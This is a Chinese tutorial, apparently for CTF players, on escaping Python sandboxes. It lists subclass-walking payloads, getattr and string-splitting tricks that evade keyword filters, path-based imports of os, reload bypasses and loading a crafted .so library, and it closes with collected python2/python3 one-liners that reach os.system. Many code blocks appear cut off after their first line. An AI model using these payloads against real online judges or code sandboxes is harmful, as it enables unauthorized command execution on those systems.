[toc]
背景知识
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程
内联函数
python的内联函数功能强大,可以调用一切函数做自己想做的事情。常用的有下面两个:
1 | __builtins__ |
dir()函数
- dir()在没有参数的时候返回本地作用域中的名称列表
- dir()在有参数的时候返回该对象的有效属性列表
1 | dir() |
object类
对于支持继承的编程语言来说,其方法(属性)可能定义在当前类,也可能来自于基类,所以在方法调用时就需要对当前类和基类进行搜索以确定方法所在的位置。而搜索的顺序就是所谓的「方法解析顺序」(Method Resolution Order,或MRO)。
关于MRO的文章:http://hanjianwei.com/2013/07/25/python-mro/ python的主旨是一切变量皆对象 python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__
和 __bases__
两种方式来创建。 __mro__
属性获取类的MRO(方法解析顺序),也就是继承关系。 __bases__
属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
1 | class A(object):pass |
通过__mro__
和 __bases__
两种方式创建object类
1 | ''.__class__.__mro__[2] |
然后通过object类的__subclasses__()
方法来获得当前环境下能够访问的所有对象,因为调用对象的 __subclasses__()
方法会返回当前环境中所有继承于该对象的对象.。Python2和Python3获取的结果不同。
1 | ''.__class__.__mro__[2].__subclasses__() |
import导入机制
所以说如果导入的模块a中有着另一个模块b,那么,我们可以用a.b的方法或者
a.__dict__[b<name>]
的方法间接访问模块b。
1 | open('test.py') f = |
Python中可以利用的方法和模块
任意代码或者命令执行
__import__()
函数
动态加载类和函数
1 | __import__("os").system("ls") |
timeit模块
1 | import timeit |
exec(),eval(),execfile(),compile()函数
1 | eval('__import__("os").system("ls")') |
platform模块
1 | import platform |
os模块
os,语义为操作系统,模块提供了访问多个操作系统服务的功能,可以处理文件和目录。
1 | import os |
subprocess模块
1 | import subprocess |
如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。
importlib动态导入模块
importlib中的几个函数:__import__、import_module、find_loader、invalidate_caches、reload
find_loader用来查找模块,reload重新载入模块 importlib.import_module(name, package=None)
导入一个模块。 name参数指定以绝对或相对方式导入的模块(例如,pkg.mod或..mod)。 如果名称是用相对术语指定的,那么必须将package参数设置为用作解析包名的锚的名称(例如,import_module(’.. mod’,’pkg.subpkg’)
将导入pkg.mod)。 import_module()
函数充当importlib.__import__()
的简化包装。 这意味着函数的所有语义都来自importlib.import()
。 在版本3.3中更改:父包将自动导入。
1 | import importlib |
getattr() 和 __getattribute__()
__getattribute__()
__getattribute__
是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的__getattribute__
方法。 通过__getattribute__我们可以传字符串来进行方法的调用
1 | class Test(object): |
应用场景: 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload
1 | ().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls') |
可以转换为
1 | ().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s') |
func_globals
: 这个属性指向定义函数时的全局命名空间,返回它所有调用的基类和函数 __init__
: 返回一个函数对象 __dict__
:返回所有属性,包括属性,方法等
getattr()
__globals__
:返回一个当前空间下能使用的模块,方法和变量的字典
1 | class test(): |
如果.
被waf,可以用getattr()
来替代。 payload
1 | [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls') |
转换过程
1 | [].__class__ ==> getattr([],'__class__') |
最终payload
1 | getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls') |
这种方法的好处是绕过.并且函数名或属性名都用字符串的方式写入payload中。那么可拓展的方法就有很多,例如: 如果_
被waf了,可以用dir(0)[0][0]
代替
1 | dir(0)[0][0] |
比如上面的payload可以转换为
1 | getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls') |
文件操作
file()函数
该函数只存在于Python2,Python3不存在
1 | file('test.txt').read() |
open()函数
1 | open('text.txt').read() |
codecs模块
1 | import codecs |
构造so库
在().class.bases[0].subclasses()中发现有可用的类
1 | <type 'file'> |
构造一个so库,列一下/home/ctf/下的文件
1 | #include <stdio.h> |
将编译好的so直接二进制写入/tmp/bk.so 使用ctypes加载so
1 | ().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so') |
f修饰符
在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/ 只有在python3.6.0+的版本才有这个方法。简单来说,可以理解为字符串外层套了一个exec()
1 | f'{print("Smi1e")}' |
这个有点类似于php中的<?php "${@phpinfo()}"; ?>
,但python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。
获取当前Python环境
sys模块
1 | import sys |
一些绕过方式
路径引入os等模块
通常而言,出题人一般是禁止引入敏感包,比如 os等。当将os从sys.modules中删掉之后,就不能再引入了。
1 | sys.modules['os']=None |
但是还可以通过路径引入os。6在所有的类unix系统中,Python的os模块的路径几乎都是/usr/lib/python2.7/os.py
中。
1 | import sys |
reload()方法
Python2 中可以直接使用reload(module)
重载模块。 Pyhton3中需要使用
1 | from imp |
引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import module
,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。
1 | del __builtins__.__dict__['__import__'] |
此时无法导入危险的包
1 | import base64 |
但是可以用 reload来重新导入模块。 但是Python 3.0把reload内置函数移到了imp标准库模块中。所以python3中,这个方法已经失效了
1 | reload(__builtins__) |
所以制作py2.7沙箱的时候,还要删除reload的方法。
Base64编码
1 | import base64 |
一道关于沙箱逃逸的CTF题
1 | from __future__ import print_function |
这道题目运行在python2.7的环境,虽然没有删除reload,但是利用了黑名单机制,即使你重新载入builtins,也不能成功使用删除的危险函数。
利用file类完成文件读取
利用object子类中的file方法
1 | ().__class__.__bases__[0].__subclasses__()[40] |
上述返回的内容是,相当于open()函数
1 | ().__class__.__bases__[0].__subclasses__()[40]('test.py').read() |
调用其他类中的OS模块完成命令执行
在当前沙箱中,import等模块被禁用,但是,在别的模块中如果本身加载有os的模块,我们是可以直接调用的。如下所示
1 | class 'warnings.catch_warnings' |
遍历找到其他的逃逸方法
通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,最后遍历 subclasses 列表,找到所有可以绕过的姿势。
常见逃逸思路
当函数被禁用时,就要通过一些类中的关系来引用被禁用的函数。一些常见的寻找特殊模块的方式如下所示: * __class__
:获得当前对象的类 * __bases__
:列出其基类 * __mro__
:列出解析方法的调用顺序,类似于bases * __subclasses__()
:返回子类列表 * __dict__
: 列出当前属性/函数的字典 * func_globals
:返回一个包含函数全局变量的字典引用 * 从().__class__.__bases__[0].__subclasses__()
出发,查看可用的类 * 若类中有file,考虑读写操作 * 若类中有<class 'warnings.WarningMessage'>
,考虑从.__init__.func_globals.values()[13]
获取eval,map等等;又或者从.__init__.func_globals[linecache]
得到os * 若类中有<type 'file'>
,<class 'ctypes.CDLL'>
,<class 'ctypes.LibraryLoader'>
,考虑构造so文件
代码执行一句话总结:
包包哥的python2 payload
1 | # 利用file()函数读取文件:(写类似) |
n3k0大哥的python3 payload python3各个小版本之间有区别,有的payload可以用于py3.7 有的可以用于py3.5
1 | ().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls') |
Referer
Python沙箱逃逸总结 python 沙箱逃逸总结 Python Sandbox Excape python沙箱逃逸一些套路的小结